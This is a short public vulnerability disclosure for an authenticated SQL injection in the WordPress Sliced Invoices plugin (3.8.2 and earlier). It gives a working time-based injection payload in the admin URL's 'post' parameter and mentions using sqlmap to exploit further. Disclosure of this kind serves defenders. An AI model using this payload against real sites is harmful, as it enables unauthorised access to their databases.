Wordpress Sliced Invoices <= 3.8.2 Authenticated SQL Injection

2019.10.24

Lucian Ioan Nitescu (RO)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: Wordpress Sliced Invoices <= 3.8.2 Authenticated SQL Injection Vulnerability
# Date: 22-10-2019
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://slicedinvoices.com/
# Software Link: https://wordpress.org/plugins/sliced-invoices/
# Version: 3.8.2
# Tested on: Ubuntu 18.04 / Wordpress 5.3
 
1. Description:  
 
Wordpress Sliced Invoices plugin with a version lower then 3.8.2 is affected by an Authenticated SQL Injection vulnerability.

2. Proof of Concept: 
 
Authenticated SQL Injection:
- Using an Wordpress user, access <your target> /wp-admin/admin.php?action=duplicate_quote_invoice&post=8%20and%20(select*from(select(sleep(20)))a)--%20
- The response will be returned after 20 seconds proving the successful exploitation of the vulnerability.
- Sqlmap can be used to further exploit the vulnerability.

References:

https://nitesculucian.github.io/2019/10/22/sliced-invoices-3-8-2-authentificated-sql-injection-vulnerability/

See this note in RAW Version

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Wordpress Sliced Invoices <= 3.8.2 Authenticated SQL Injection

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